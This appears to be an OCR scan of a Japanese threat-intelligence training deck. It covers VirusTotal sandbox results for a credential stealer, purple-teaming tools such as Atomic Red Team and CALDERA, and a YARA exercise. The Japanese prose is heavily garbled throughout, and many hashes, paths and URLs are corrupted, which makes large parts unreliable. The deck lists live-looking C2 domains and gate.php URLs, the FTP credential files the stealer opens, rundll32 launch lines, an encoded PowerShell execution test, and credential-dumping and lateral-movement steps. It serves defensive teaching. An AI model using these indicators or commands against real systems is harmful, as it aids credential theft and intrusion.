2023-07-26 52 /61 ZIP Virus-main.zip

2023-07-31 6 /68 Win32 EXE MalwareDownloader.dll

2024-08-31 53 /68 zZIp malware.exe.zip

2025-01-14 2 /66 ZIP dc030778938b8b638236a709d0d18734¢325accf44b12a55ecc2d56b8bbo000.zip

2023-07-31 28 /57 1SO image DeadlyNightShadeliliso

2022-04-28 60 /69 Win32 EXE software.exe

2024-08-10 41 /64 ZIP Virus-main.zip

2024-07-29 2/67 ZIP dc030778938b8b6f98236a709d0d18734c325accf44bl2a55ecc2d56b8bb9000.zip

Bundled Files (4) @ 8]

—_ A Scanned Detections File type Name
J7AIILAICEFNIC
J ) = — o 2020-09-22 0/57 ? reloc
2022-05-16 0/58 JavaScript .rdata
07 A JUIER :
71)V8B .
~ ? ? file babdafb58471afbTc8ccc8595aeae9dd99d905d5955320f3e6c4257f71b29b6b
~ ? 9 file df281dbfa9b612e6eTecObeT8de24f3231702609f20756d5342287e7b63f7d9
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Appendix C : VirusTotal DA fEE 75

« BEHAVIORTHEER U T < RNEEFk

BIEETEROY <Y

DETECTION DETAILS RELATIONS ASSOCIATIONS BEHAVIOR
Display grouped sandbox reports

8 ceae Al

O CAPE Sandbox M 4 5

@ Zenbox Ad M4

Activity Summary

B AEATRE R DARANFE R

| A 4 Detections M Mitre Signatures

2STEALER 2 MALWARE 5LOW  35INFO

1TROJAN  1EVADER

Behavior Tags @

Dynamic Analysis Sandbox Detections ©

/N The sandbox C2AE flags this file as: STEALER

/A Thesandbox Lastline flags this file as: MALWARE

@ |DS Rules

NOT FOUND

/\ The sandbox Zenbox flags this file as: MALWARE STEALER TROJAN EVADER

COMMUNITY 22+

® cara M 5

™ Lastline Al &3

Download Artifacts ™ Full Reports v Help v

& Sigma Rules ¢ Dropped Files & Network comms

NOT FOUND NOT FOUND 3DNS  1IP  1JA3
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Appendix C : VirusTotal DA fEE 75

BEHAVIOR THEER U TH K NEEHR

MITRE ATTECK Tactics and Technigues

+ Execution Taooz
+ Privilege Escalation TA0004

— Defense Evasion TADIS

® Obfuscated Files or Information 71027
encode data using XOR
encrypt data using DES

® Access Token Manipulation  TLL34

@ Token Impersonation/Theft Tll3d000
impersonate user

@ Systemn Binary Proxy Execution  T1218

® Rundll32 Ti:E0LL
Runs a DLL by calling functions

® Vinualization,/Sandbox Evasion  T1497

@ Systemn Checks  Tl437.001
reference anti-viM strings

+ Credential Access TAODOG
+ Discovery TA0007
+ Collection Taooos

+ Command and Contral Taooil

MITRE ATT&CKI L —LT—72
(CKDN%E

Malware Behavior Catalog Trae

Malware Behavior Catalog Tree

(CKDDHE

+ Anti-Behavioral Analysis ©B0001

— Anti-Static Analysis OB0002

® Obfuscated Files or Information  E102T
Encoding - Standard Algorithrm  E1027.m02

Encryption - Standard &lgorithm ~ E1027.ma5
Collection OBDIOZ
Command and Control O0BDI04
Credential Access OBDIIS

Defense Evasion OBODIG

Discovery 050007

File System OC0001

Process OCDI03

Data OCODOM

Cryptography OC000S

Communlcation OC000G

+ + + + + + + + + + +

Operating System  OC0003
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170



Malware Behavior Catalog (MBC)

Malware Behavior Catalog v3.1

The Malware Behavior Catalog (MBC) is a catalog of malware objectives and behaviors, created to support malware
analysis-oriented use cases, such as labeling, similarity analysis, and standardized reporting. Please see the FAQ page
for answers to common questions, and read the newsletters for information on the most recent MBC updates and
activity.

Open-source malware analysis tools map their output to MBC and ATT&CK:

® capa - see the capa rule mapping distribution

® CAPE - see the CAPE signature mapping distribution

MBC supports other community efforts:

® CACAQO - a playbook for the MBC corpus malware Locky Bart shows how CACAQ can reference MBC behaviors.

» Attack Flow - flow diagrams for the MBC corpus malware Shamoon and SearchAwesome illustrate how Attack

Flow can reference MBC behaviors.
Check out MBC presentations:

e Standardized Reporting with the Malware Behavior Catalog, VB2020 localhost (October 2020)
¢ Malware Behavior Catalog, BSides DC (October 2019)

To join the MBC mailing list, please send a request to mbc@mitre.org.

Objectives

As shown below, malware objectives are based on ATT&CK tactics, and are tailored for the malware analysis use case
of characterizing malware based on known objectives and behaviors. Two malware analysis-specific objectives not in
ATT&CK are also defined (ANTI-BEHAVIORAL ANALYSIS and ANTI-STATIC ANALYSIS).

Malware Objective Descriptions

Malware objectives are defined in the table below. Follow the links to view associated behaviors.

Objective

Anti-Behavioral
Analysis

Anti-Static
Analysis

Collection

Command and
Control

Credential
Access

Defense Evasion

Discovery
Execution
Exfiltration
Impact
Lateral
Movement
Persistence

Privilege
Escalation

NIILD T OB EEMEZE IR T D HYOTTHD., SARUST,
BR(CERRSNIZ L — LD —2,

Description
Malware aims to prevent, obstruct, or evade behavioral analysis, such as analysis done using
a sandbox or debugger.
Malware aims to prevent static analysis or make it more difficult.

Malware aims to identify and gather information from a machine or network.

Malware aims to communicate with compromised systems to control them.

Malware aims to steal account names and passwords.

Malware aims to evade detection.

Malware aims to gain knowledge about the environment.
Malware aims to execute code on a system.

Malware aims to steal data.

Malware aims to manipulate, interrupt, or destroy systems or data.

Malware aims to propagate or otherwise move through an environment. Lateral movement
may be active, happening via direct machine access, or may be passive (for example, done
via malicious email).

Malware aims to remain on a system.

Malware aims to obtain higher level permissions.

FELUEDHT. LIR— hOREIREZ




Appendix C : VirusTotal DA fEE 75

« BEHAVIORTHER U TH AT B

Network Communication O

DS Resolutions

£ leftthenhispar.ru
£ reninparwil.com

5 reptertinfom.ru

IP Traffic
& TCP204.79.157.203:443

JA3 Digests

% a0esf5d54343fb13191beTALE1 4201

Memory Pattern Domains
e leftthenhispar.ru
e® reninparwil.com
P reptertinrom.ru

& hitp:

T D — TRk

L TR LT R ST TNl T

Memory Pattern Urls

e httpy/fleftthenhispar.rufzapoy/gate_php
w®  httpy/freninparwil.com/zapoy/gate.php
e httpy/reptertinrom.ru/zapoy/gate. php

File system actions @

Files Opened

& Ch\Program Files (x36)

e C\Program Files (xB&)\CuteFTH,

ff C\Program Files (xB6)"\ CuteF TP sm.dat

e C\Program Files (xB6)\Global SCAPE\CuteFTF Lite),

& C-\Program Files [x86)\Global SCAPE\CuteF TP Lite\sm.dat
@ C-\Program Files (x86)\Global SCAPE\CuteF TP Pro),

& C-\Program Files (x86)\Global SCAPE\CuteF TP Pro\sm.dat
@ C-\Program Files (x86)\Global SCAPE\CuteF TP,

& C-\Program Files [x86)\Global SCAPE\CuteF TP\ sm.dat

# C\ProgramData

JdJ71)L

Files wWritten

~

P

A7 ACET DB

B C\Users\user\AppData’ Local\Microsoft\ Windows! History

B C\Users\userAppData’ Local\Microsoft\ Windows' INetCache
B C\Users\user\AppData’ Local\Microsoft\Windows' INet Cookies
& \DevicelConDr\\Connect

Copyright © Tomohisa Ishikawa All rights reserved.
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Appendix C : VirusTotal DA fEE 75

L X RUICET DRk JOTEXRICEATDIER

Process and service actions

Registry actions O

Registry Keys Opened
Processes Created
% HKEY CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes'\Personalize

& HKEY CURRENT USER\SOFTWARE\Microsolt\Windows\CurrentVersion\Themes!Personalize\AppsUseLightTheme
8 HEEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentViersion'image File Execution Options\ DIINXOptions N C:\DOCUME~1\Miller\LOCALS~1\TemplrundIl32.exe
C:\Users\Mason\AppData'Local\Temp\rundll32.exe

] "CA\Windows'\System32\rundll32.exe" "C:\Users\<USER=\AppData'Local\Temp\init.dll",#1

% HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion'Uninstall

£ HEEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook

& HKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersionUninstall\ AddressBook!\ Uninstal|String
i HEKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersioniUninstall\Connection Manager

C:\Windows\SysWOWe4\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\readme.dll",#1
C\Windows\SysWOWe4\rundll32.exe rundll32.exe "CA\Users\userDesktop\readme.dll" #1
C:A\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xfffiffff -Forcev1

HKEY LOCAL MACHIME\SOFTWARE\Microsoft\Windows\CurrentVersien\Uninstall\Connection Manager\UninstallStrin,
® - N \ \Mi \Windows|Cu i i I Berin! & C:A\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\readme.dl["

£ HKEY LOCAL MACHINE\SOFTWARE'\Microsoft\Windows\CurrentVersion'Uninstall\DXM_Runtime
& HKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion'Uninstall\0XM_Runtime\UninstallString

L2

Shell Commands

g1 C:ADOCUME-~1\Miller\LOCALS~1\Temp\ \rundll32.exe 3c4de20e464146hec844471867Tbd1626f949d8ceTacTa.dll
™ C:\DOCUME~1\Miller\LOCALS~1\Temp\rundll32.exe dc030778938b806f38236a709d0d18d56b8bhI000.exe.dll
Registry Keys Set
= ) . . ™ C:\DOCUME~1'\Miller\LOCALS~1'Temp\rundll32.exe dc030778938b8b6f98236aT709d0d18ecc2d56babba000.dIl
+ & HELM\SOFTWARE\Microsoft\WBEM\PROVIDERS\ Performance! Performance Data
N ™ C\Users\Mason\AppData\Local\Temp\rundll32.exe 3c4de20e464146bec84447186Thd16nalysis_subject.dll
+ & HELM\SOFTWARE\Microsoft\WBEM\PROVIDERS\ Performance) Performance Refresh
~ ™ C:\Users\Mason'\AppData'Local\Temp\rundll32.exe dc030778938b8b5f98236a709d0d18d56b8bbO000.exe.dll
4+ @ HELM\SOFTWARE\Microsoft\WBEM\PROVIDERS Performance! Performance Refreshed
+ & HELM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Pedlib\Last Counter
N Processes Terminated
4+ @ HELM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' Perflib\Last Help
+ @ HKLM\SOFTWARE\MicrosoftWindows NT\CurrentVersion\Pedlib\Updati ng ﬁ wmiadap.exe /F /T/R
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Appendix D : Purple Teaming with Threat Intelligence
“3-3 : Threat Research”"Zzgilfe& LTk L TCLVE T,
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Appendix D : Purple Teaming with Threat Intelligence

Purple Teaming&(d ?
. I& £l (Red Team) &UT. REBEMNMESWEF E=F > THIIKEZITL. BHiEMll (Blue Team) @
BENZIBHE L. %H%ﬁkODIEHEjJ (Cyber Resilience) Zm_LtI3B&E,

7I‘§’|’ S REUTIE EFBREDEREZHEE(C. Red TeamEBlue Team©h & ERE (T, AIHFEIERDHN.
&5@““(iﬂ&%‘€%%@b‘;%5ﬁb WE(CDRATTVWEF TH D &

Purple Team

Threat Intelligence Threat Intelligence

W

@ 5 - R - RS

Red Team Blue Team
L R,

5; Purple Team
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Appendix D : Purple Teaming with Threat Intelligence

Purple TeamingTBEEINEZ L :
- BN 1 : BEYUXOUDHE:R (Residual Risk Identification)
- fBll) COBERZEFRAL. BRICIKREMNMTONIEEGE EAREENSH DD ?
- fB) BEB—E=r (Single Point of Failure) "3 M ? BRSNS, EAREENSHDIH ?

— B892 : p5ilDEEIEAI{fTl) (Defense Prioritization)
o fBll) EARTETFIUST O bO—ILHAREZBHEIL TI<NDDH?
e ) A TERNCEZEDKDSICHRL TS DM ?
o ) EBEHKRURITNEWNTRWNWC ENSGDHRT, EE5ZBELXUTEMINEN?
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Appendix D : Purple Teaming with Threat Intelligence

« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
OFFll. QMRFITZERET . EFHE(E 2 FEREDTTEN DD,

5T 32
- 2EHOZIO—F:
Manual Emulation (3F&h) Automated / Scripted Emulation (EEh)

Adversary Emulation, Full-Stack Emulation « Atomic Purple Teaming, BAS, automated penetration test

SRV e - THa U BE (Kl - TJOEX - AN) OBRMEREE « tTF1UFTTO> ~O-)L (i) OBRMHAREE

tFa1U 1 EPZEK (Red Teamer) (CKDFMMKE, HADGS(E. |« BEETUERY—)LZHEL., SUKREEITD,
Bz ERUTHMEIE UZTLPT (Threat-Lead Penetration Test) h'&H o —EOFENEERITIDT—RAEHNE. BHEDOIT—XICRELT
M5NTULD, K179 BT —AEHFEIT B,

« FFIRICKDERRT R MIEMETEEIRTZS. BRANEBEFEZ =D,
KBTI —TDXIIBEERSIENSDORERT X MRl e, « BRRRBREFTUAZTANTED/CS. HBFENRT A NeEhErlEe.
o EBRICIRAN U IZBROMEMHS IS T O X BRI EE,

. o V)L DOERZFHRE. MDD EDEDZMEIREH. BET
;XU“JI* ° gﬁﬁ ($$$$) +H§Fﬂﬂb\b\b\5o +

. BEDIFUARERTBHE. BRIEEBRT ST ENHUL, e omZn @S (T, Red Team + Blue Teamm7yDH

SEFCESZIED FIFET.
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Appendix D : Purple Teaming with Threat Intelligence

« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
OFFll. QMRFITZERET . EFHE(E 2 FEREDTTEN DD,

&1 2t

 Scripted EmulationD=Ejitr5 &
— Script Emulation(&. XK&< 31EHEFET D,

ZERNDFT O DI%"FT AT D, IRCTxr~9. Atomic

|
Red Teamingl£Z OFE, f51) T1003.001 LSASS Memory

Atomic Emulation

BHOWRET ) —THh BRI IVNE >3 >D—Ez
Micro Emulation FTAKNT D, RTHBITI DAdversary Emulation f5]) Process Injectionz%£479 %
Library(EZCor77O—F=2HERALTLD,

BEODREJ) —T=IT=1L— 9 I3BFENRT7T
Full Emulation O—F., R CiHBIIr9 BDAdversary Emulation Library ) Wizard SpiderdIZZEF%
(FZDr7T7O—FZHAL TS,
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Atomic Testing

Micro Emulation

Full Emulation

Emulate single technique

=.8” Executable in seconds

E.g., Atomic Red test for
71003.001 - LSASS Memory

ﬁ Easy to automate
«/ Validate atomic analytics
° Validate chain analytics

Q Evaluate SOC against a
specific set of TTPs

° Evaluate SOC holistically
against specific groups

Emulate compound behaviors
across 2—3 techniques

=.Q" Executable in seconds

E.g., Fork & Run Process Injection

ﬁ Easy to automate
«/ Validate atomic analytics
\/ Validate chain analytics

\/ Evaluate SOC against a
specific set of TTPs

Q Evaluate SOC holistically
against specific groups

Emulate adversary operation

=.3:' Executable in hours

E.g., FIN6 adversary emulation plan

° Easy to automate
«/ Validate atomic analytics
\/ Validate chain analytics

\/ Evaluate SOC against a
specific set of TTPs

\/ Evaluate SOC holistically
against specific groups

https://ctid.mitre.org/resources/adversary-emulation-library/



https://ctid.mitre.org/resources/adversary-emulation-library/

Appendix D : Purple Teaming with Threat Intelligence

« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
OFHill. QXMREITZERMET D. EHMTTEE 2 BREDTTENDD.

R iy

. Scripted Emulation®D=EhEAxE (€D 1)
— Atomic Red Teaming (Red Canary)
« WEBENMBI DT I_vo%, EICTANIBZROUT hexeEHTOZ IO
— URL : https://github.com/redcanaryco/atomic-red-team
— URL : https://atomicredteam.io/

o ETELEITDIV—ILEUT. Invoke-AtomicredTeam &Atomic Test Harnesses/a EHVdrD.
— URL : https://github.com/redcanaryco/invoke-atomicredteam
— URL : https://qgithub.com/redcanaryco/AtomicTestHarnesses
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« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
OFFll. QMRFITZERET . EFHE(E 2 FEREDTTEN DD,

&1 2t

. Scripted Emulation®D=EhEAxE (€D 1)

— Adversary Emulation Library
« CTID (Center for Threat-Informed Defense) H"WERK L/zAdversary Emulation 27U k.,
- MITRE Engenuityn'5EhE L TUL\BEnterprise Evaluation (FREmOBRIMEHFHMET O T oK) ZAE(C
TOEDITERRESNIER OV T MR REHEN TS,
— URL : https://qgithub.com/center-for-threat-informed-defense/adversary emulation library
— URL : https://ctid.mitre.org/resources/adversary-emulation-library/
— URL : https://attackevals.mitre-engenuity.org/enterprise/

« Micro Emulation Plan &EIE(ENBAtomic Red TeamD KD R T T RNEBRHAEBESINTLD,
— URL : https://qgithub.com/center-for-threat-informed-defense/adversary emulation library/releases
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ED Cod atomic-red-team / atomics / T1059.001 / T1059.001.md
ode

Code Blame 9906 lines (449 loc) - 28.4 KB
¥ master

Q Gotofile Atomic Test #19 - PowerShell Command Execution

11049 Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the
T1053.002 2021 Threat Detection Report by Red Canary.

T1053.003 Supported Platforms: Windows

T1053.005
auto_generated_guid: a538de64-1c74-46ed-aab0-b995ed302598

T1053.006

T1053.007 Inputs:

T1055.001 Name Description Type

T1055.003
Defaults to:

T1055.004 Invoke-

T1055.012 Expression

obfuscated_code string  JgAgACgAZwBJAGOAIAA0ACcAaQBIAHSAMABI9ACCAIAAtAGYAIAANAHg/

with a
"Write-
T1056.001 Host" line.

T1055

T1056.002

T1056.004 Attack Commands: Run with command_prompt !
T1057

T1059.001 powershell.exe -e #{obfuscated_code}

ithub.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T1059.001.md



https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1059.001/T1059.001.md

[ Code adversary_emulation_library / micro_emulation_plans / src / ad_enum / 2 Add file =

F master g mticmtic add release link to READMEs 26a8a95 - 2 months ago  £1) History

Q Gotofile

Last commit message Last commit date

.github
apt29
carbanak docs micro emulation merge 10 months ago

finé

.gitignore micro emulation merge 10 months ago

fin7
BUILD.md micro emulation merge 10 months ago
menuPass

micro_emulation_plans Makefile micro emulation merge 10 months ago
caldera-integration README.md add release link to READMEs 2 months ago

src

(e R e R o R P

ad_enum.cs micro emulation merge 10 months ago

ad_enum

p ad_enum.csproj micro emulation merge 10 months ago
ocs

gitignore ad_enum.zip micro emulation merge 10 months ago

1] BUILD.md

D O D

nuget.config.default micro emulation merge 10 months ago

Makefile
README.md README.md F =
ad_enum.cs

ad_enum.csproj

Micro Emulation Plan: Active Directory Enumeration

7 ad_enum.zip

[ nuget.config default This micro emulation plan targets compound behaviors associated with TA0007 Discovery using behaviors associated
apache_rce with abuse of Active Directory (AD). Adversaries use various means to gather internal knowledge about victim

data exfil environments. Active directory, specifically Active Directory Domain Services (AD DS), is often targeted as rich and
B accessible source of information about various objects in a network.

cmd
docs You can access the binary for this micro plan as part of the latest release.

pkg/microemuserver Table Of Contents:

{gitignore e Micro Emulation Plan: Active Directory Enumeration
Makefile o Description of Emulated Behaviors

o Cyber Threat Intel / Background

0D O

README.md

o Execution Instructions / Resources
createcerts.sh .
= Execution Demo

o.mod
9 o Defensive Lessons Learned

(e e

go.sum = Detection

dll_sideloading = Mitigation

https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/ad_enum



Appendix D : Purple Teaming with Threat Intelligence

« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
OFHill. QXMREITZERMET D. EHMTTEE 2 BREDTTENDD.

£ {1 32
. Scripted Emulation®D=EhE/AxE (€D 2)

— BAS (Breach & Attack Simulation) 7&&. B&8REZ KL —23>5F X MNZEFIET B,

Step 4 : SIMEZZDULT. FB - RAMOBEEZDIT D
Internal Segment DM/Z Segment

: BAS Contfo/ Server
— Step 3: O &
J Stepl : IEEIER (i.e. C2) :
SIEM o) :
Workstation Segment

AV&EDR Endpoint Agents Network Agent

Firewall

Internet Agent

Step2 : T—>1 > MNEITCQBEZITD

Network Agent
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« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
OFFll. QMRFITZERET . EFHE(E 2 FEREDTTEN DD,

£ {1 3E it
. Scripted Emulation®D=EhE/AxE (€D 2)

— BAS (Breach & Attack Simulation) I&&. BE8WREZ ML —23>F X MZFAT B,

- EBETHHATEREDOELT. UFHEIFSND (LU, BEFELE - Bfbsn/lz6dDE%E <. MITRE CALDERAL
OpenBASJb\Tj ORI H—REBRDTND, k(T 1FHURNICEE TN TV DR M

* MITRE CALDERA

* OpenBAS

% Stratus Red Team

* Infection Monkey

* Vectr

Ransomware Simulator
UBER METTA

Red Team Automation
DumpsterFire

Firedrill

«  APTSimulator

Invoke-Adversary
Network Flight Simulator

https://github.com/mitre/caldera

https://qgithub.com/OpenBAS-Platform/openbas

https://github.com/DataDog/stratus-red-team

https://www.akamai.com/infectionmonkey

https://vectr.io/vectr-community/

https://www.knowbe4.com/ransomware-simulator

https://github.com/uber-common/metta

https://github.com/endgameinc/RTA

https://qgithub.com/TryCatchHCF/DumpsterFire

https://github.com/FourCorelLabs /firedrill

https://github.com/NextronSystems/APTSimulator

https://github.com/CyberMonitor/Invoke-Adversary

https://github.com/alphasoc/flightsim
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https://github.com/OpenBAS-Platform/openbas
https://github.com/DataDog/stratus-red-team
https://www.akamai.com/infectionmonkey
https://vectr.io/vectr-community/
https://www.knowbe4.com/ransomware-simulator
https://github.com/uber-common/metta
https://github.com/endgameinc/RTA
https://github.com/TryCatchHCF/DumpsterFire
https://github.com/FourCoreLabs/firedrill
https://github.com/NextronSystems/APTSimulator
https://github.com/CyberMonitor/Invoke-Adversary
https://github.com/alphasoc/flightsim

agents X  operations X  adversaries X

Adversary Profiles
CALDERA

Adversary Profiles are collections of ATT&CK TTPs, designed to create specific effects on a host or network. Profiles can be used for offensive or defensive use cases.

2 red
Select a profile + NewProfile  J§ Import
m
M CAMPAIGNS
Alice 2.0 Adversary ID: 50855e29-3b4e-4562-aa55-b3d7f93c26b8
agents
abilities Adversary used for demoing restricted lateral movement
adversaries
operations + Add Ability  + Add Adversary & Fact Breakdown Objective: default  change B+ Export Save Profile
B PLUGINS
access Ordering Name Tactic Technique Executors Requires Unlocks Payload Cleanup
atomic = 1 Discover local hosts discovery Remote System Discovery ] P A =
compass
debrief = 2 Powerkatz (Staged) credential-access 0OS Credential Dumping: LSASS Memory = 4 A e
fieldmanual & = 3 Find Domain discovery System Network Configuration Discovery L | P g
manx _ : ) ) : ) . ’
" = 4 Discover Domain Admins discovery Permission Groups Discovery: Domain Groups = P A *
sandcat
stockpile = s A Account-type Admin Enumerator discovery Permission Groups Discovery: Domain Groups = a P A X
training o ) . ) . .
= 6 Remote Host Ping discovery System Network Configuration Discovery = a P x
& CONFIGURATION —
= 7 Mount Share lateral-movement Remote Services: SMB/Windows Admin Shares = a 4 u X
fact sources = 8 Copy 54ndc47 (SMB) lateral-movement Remote Services: SMB/Windows Admin Shares L] a y & [ ] X
objectives
planners = 9 Start 54ndc47 (WMI) execution Windows Management Instrumentation s a | ] 2t
contacts - . 9 . e A P .
A\ One or more of the abilities have unmet requirements, which may result in a failed operation if ran sequentially.
obfuscators
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CALDERA

B 2 startup mess

M CAMPAIGNS

agents
abilities
adversaries

operations

% PLUGINS

access
atomic
compass
debrief
fieldmanual @
manx

sandcat
stockpile

training
2 CONFIGURATION

fact sources
objectives
planners
contacts
obfuscators
configuration

exfilled files

api docs @

® Log out

operations X

Operations

Operation Details ¥ Download

Decide Status

7/30/2023, 9:20:50
AM GMT+9

7/30/2023, 9:20:55
AM GMT+9

7/30/2023, 9:21:55
AM GMT+9

7/30/2023, 9:22:35
AM GMT+9

7/30/2023, 9:23:25
AM GMT+9

7/30/2023, 9:24:00
AM GMT+9

7/30/2023, 9:24:50
AM GMT+9

7/30/2023, 9:25:30
AM GMT+9

Current state: finished

Link/Ability Name

Identify active user

Identify local users

Find user processes

View admin shares

Discover domain
controller

Discover antivirus
programs

Permission Groups
Discovery

Identify Firewalls

eufcuv

eufcuv

eufcuv

eufeuv

eufeuv

eufcuv

eufcuv

Select an operation

TESTO01 - 8 decisions | 1 hr ago

KBAEHR-WORKSTAT

KBAEHR-WORKSTAT

KBAEHR-WORKSTAT

KBAEHR-WORKSTAT

KBAEHR-WORKSTAT

KBAEHR-WORKSTAT

KBAEHR-WORKSTAT

KBAEHR-WORKSTAT

c

Re-run operation

5440

1116

1560

5776

4344

5548

4912

1188

v

<+ Create Operation

View Command

View Command

View Command

View Command

View Command

View Command

View Command

View Command

Obfuscatio

Link Output

View Output

View Output

View Output

View Output

View Output

View Output

View Output

View Output
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Output

Facts:
Name Value Score
host. ip.address 192.168.10.100 1

Exit Code: Nothing to show

Standard Output:

0c:

Address:

Dom Guid:

Oom Mame:
Forest Mame:
Oc Site Name:
Our Site Name:

Flags:

¥¥DCLABLOCAL

¥¥197.168.10.100

0457c643-77ba-4678-8f 76-6ebac3933e7f

ADLAB

adlab. local

Default-First-Site-Name

Default-First-Site-Name

POC GC DS LDAP KOC TIMESERY WRITABLE DNS FOREST CLOSE SITE FULL SECRET WS DS 8 DS 9 DS 10 0xZ20000

The command completed successful [y

Standard Error: Nothing to show

Close
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Q, search the platform...

SCENARIOS

R

PERFORMANCE OVERVIEW

TOP SIMULATION CATEGORIES

O

Prevention

SIMULATIONS

B 16 - e

Detection

TOP ATTACK PATTERNS

Human response

PLAYERS

v

SIMULATIONS

LAST SIMULATIONS

ASSETS

(2]
[—1
12 - oo

12 : : ; . - o p—
ofe  [win-001] Simplekillcha... Jun21,2024,10:2... FINISHED 0@ = Sep 6, 2024, 2:381...
[T14599.001] OS Exhausti.
(R e (T :3: SOC Response toRanso...  Jun 21, 2024, 10:2... 0 @& Aug 15, 2024, 4:08...
[T1556.003] Pluggable Au__
[T1200] Herdware Additi..
N ofe  mto-cred dumping Jun 26, 2024, 6:20... ON-GOING | Jun 26, 2024, 6:22...
[T1218.013] Mavinject
[T1497] BITS Jobs
THCEATTT T ofe  testmio Jun 28, 2024, 1:53... FINISHED 0 ® Jun 28, 2024, 2:09...
[T1499.003] Application .
[T1499.004] Application o ofe  Reconnaissance Jul 2, 2024, 2:41:0... FINISHED 0 @& Jul 2, 2024, 2:42:0...
@ sattack- io @ vulnerability @ global-crisis [T1542.001] System Fi...
'
0 afe  MediaResponse to Rans... JulB, 2024, 6:3 oy Jul 8, 2024, 6:3
MITRE ATT&CK COVERAGE
Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Moverm
Local Accounts PowerShell Component Object Model Hijacking. Bypass User Account Control Bypass User Account Control Cached Domain Credentials System Checks SMB/Windows Admin Shares
Phishing d Instr Local Accounts Component Object Model Hijacking, Local Accounts Credentials From Password Stores System Owner/User Discovery
Local Accounts Modity Registry Keylogging Time Based Evasion
a]% ‘Obfuscated Files Or Information LSASS Memory
> System Checks Security Account Manager
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Appendix D : Purple Teaming with Threat Intelligence

« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
OFHill. QXMREITZERMET D. EHMTTEE 2 BREDTTENDD.

5T 3E it
- Purple TeamZFIHI SEDEE :

— Purple Team(IABTEIRIZRTEMLU C. IRRBZNEIT DEHICITLET,
— Manual Emulation (&) - Scripted Emulation (B#) DWLWINZEMT DRCE. LUTZEAME(C
ULCEMITDIENDDFT,
« =Ll . EREDHFZRBICLTEIT S L
— WDERTERWTIN, FFaRR<EMITNIEERF(CIRAL T DugeENH D FT,

« JL=IL2 : BRTEEREARELUKREZ U TNDID., HELUTIIEAREBDNRSDH . HECEHEITDICE
- EVMBEZNIL. @Atomic Red Team. CALDERAIRE. ERETEIHEHOIMERKR UI2Y —ILZFIHT D, @i
ABNERTEDY—ILZFHIT B CENEETH DI EATNIRNTLIZEUN,

— EBRDOVYILD T, Dark Web’'RETAFULRY—ILIRET. Purple TeamiREE(ICFIRA LIAWVT L ZE0)N,
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Appendix D : Purple Teaming with Threat Intelligence

« Purple Teaming®=iEJ'O0t X

— KR CHRITULE NEmINE] — [0 - BES FUAER] (CTERUZBRIS FUAICEDE.
O, QXRETZERET D, XRFIEGLULTDED,

o WEROELIT : BRS T UADEMER(CEDE. F - A TETAEDICLTLL,
« IOA (Indicator Of Attack) DYERL

— WEBENKEEZITOIAIITOITEN-IRAFVAEEIIHOBRIMOIYIDIL

— BEMICE. Y EHERAITIAEHOBRRIIVEGEEHFKITI L EEKRTS

— KEMRELT. IOAZBETIAH00T M HEENFIIREED

« [IOAZERTIDHELELUT. SIGMANZEITSND, TDFMIE. KRSBDZ &,
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Appendix D : Purple Teaming with Threat Intelligence
RBEBREFELUTC, UTZ2RJICETHET D,

« “Becoming a Dark Knight: Adversary Emulation Demonstration for ATT&CK Evaluations”
— Threat Researchz EMD K S (470, Adversary EmulationZ{T SO D29 <57BAL CTL\BiEE
« YouTube : https://www.youtube.com/watch?v=ulktZxdN6nA

« X551 K : https://www.blackhat.com/us-23/briefings/schedule/#becoming-a-dark-knight-adversary-
emulation-demonstration-for-attck-evaluations-33209

« BIEIVOIRTwv b EBRICERR SN /ZEmulation Plan (Blind Eagle) i"ARENTLS

— https://github.com/center-for-threat-informed-
defense/adversary emulation library/tree/master/blind eagle/Emulation Plan

— fHRE :

 Blind Eagle(CBAT DEHRNECETEZLLRVED. KNS DBEIMRELEE U TEUZWVLAIL, HEXGitHUb TR
=N TUL\BWizard SpidertAPT290 AN EVLVIEULNEE A

— https://github.com/center-for-threat-informed-defense/adversary emulation library/tree/master/

Copyright © Tomohisa Ishikawa All rights reserved.
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Appendix E : YARADERE
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Appendix E : YARADET#
- EE1) FIRFRRBICTFIELAUT, YARAZEITUTHEFLUL S,

$ cd pre-ex

$ yara
yara: wrong number of arguments
Usage: yara [OPTION]... [NAMESPACE:]RULES_FILE... FILE | DIR | PID
Try --help” for more options

$ yara -s 001.yar ./target/test01.txt UEFEDI 71 IWNZARAFV > TBEHR)
my_first_yara test01.txt
Ox8:%$a: apple
Ox1:$b: orange

$ yara -s 001.yar ./target/ (WRIA WA ERXFT 2T BI5S)
(EHR)

X -5 NWFUEXF5 D
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Appendix E : YARADED

